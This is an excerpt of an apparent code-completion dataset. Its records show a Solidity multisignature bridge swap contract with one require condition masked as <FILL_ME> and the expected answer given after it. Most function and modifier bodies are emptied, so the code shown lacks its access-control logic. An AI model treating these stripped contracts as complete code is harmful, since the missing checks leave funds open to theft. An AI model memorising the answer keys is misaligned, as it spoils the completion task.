bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
require(
user != address(0),
"swapContract: Address cannot be zero address"
);
uint256 signatureLength = SIGNATURE_LENGTH;
require(
concatSignatures.length % signatureLength == 0,
"swapContract: Signatures lengths must be divisible by 65"
);
require(
concatSignatures.length / signatureLength >= minConfirmationSignatures,
"swapContract: Not enough signatures passed"
);
bytes32 hashedParams = getHashPacked(user, amountWithFee, originalTxHash);
(bool processed, bytes32 savedHash) = isProcessedTransaction(originalTxHash);
require(!processed && savedHash != hashedParams, "swapContract: Transaction already processed");
uint256 signaturesCount = concatSignatures.length / signatureLength;
address[] memory validatorAddresses = new address[](signaturesCount);
for (uint256 i = 0; i < signaturesCount; i++) {
address validatorAddress = ecOffsetRecover(hashedParams, concatSignatures, i * signatureLength);
require(<FILL_ME>)
for (uint256 j = 0; j < i; j++) {
require(validatorAddress != validatorAddresses[j], "swapContract: Validator address is duplicated");
}
validatorAddresses[i] = validatorAddress;
}
processedTransactions[originalTxHash] = hashedParams;
uint256 fee = feeAmountOfBlockchain[numOfThisBlockchain];
uint256 amountWithoutFee = amountWithFee - fee;
TransferHelper.safeTransfer(address(tokenAddress), user, amountWithoutFee);
TransferHelper.safeTransfer(address(tokenAddress), feeAddress, fee);
emit TransferFromOtherBlockchain(user, amountWithFee, amountWithoutFee, originalTxHash);
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| isValidator(validatorAddress),"swapContract: Validator address not in whitelist" | 411,644 | isValidator(validatorAddress) |
"swapContract: This blockchain is already added" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
require(
numOfOtherBlockchain != numOfThisBlockchain,
"swapContract: Cannot add this blockchain to array of other blockchains"
);
require(<FILL_ME>)
existingOtherBlockchain[numOfOtherBlockchain] = true;
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| !existingOtherBlockchain[numOfOtherBlockchain],"swapContract: This blockchain is already added" | 411,644 | !existingOtherBlockchain[numOfOtherBlockchain] |
"swapContract: This blockchain was not added" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
require(<FILL_ME>)
existingOtherBlockchain[numOfOtherBlockchain] = false;
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| existingOtherBlockchain[numOfOtherBlockchain],"swapContract: This blockchain was not added" | 411,644 | existingOtherBlockchain[numOfOtherBlockchain] |
"swapContract: This blockchain was not added" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
require(
oldNumOfOtherBlockchain != newNumOfOtherBlockchain,
"swapContract: Cannot change blockchains with same number"
);
require(
newNumOfOtherBlockchain != numOfThisBlockchain,
"swapContract: Cannot add this blockchain to array of other blockchains"
);
require(<FILL_ME>)
require(
!existingOtherBlockchain[newNumOfOtherBlockchain],
"swapContract: This blockchain is already added"
);
existingOtherBlockchain[oldNumOfOtherBlockchain] = false;
existingOtherBlockchain[newNumOfOtherBlockchain] = true;
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| existingOtherBlockchain[oldNumOfOtherBlockchain],"swapContract: This blockchain was not added" | 411,644 | existingOtherBlockchain[oldNumOfOtherBlockchain] |
"swapContract: This blockchain is already added" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
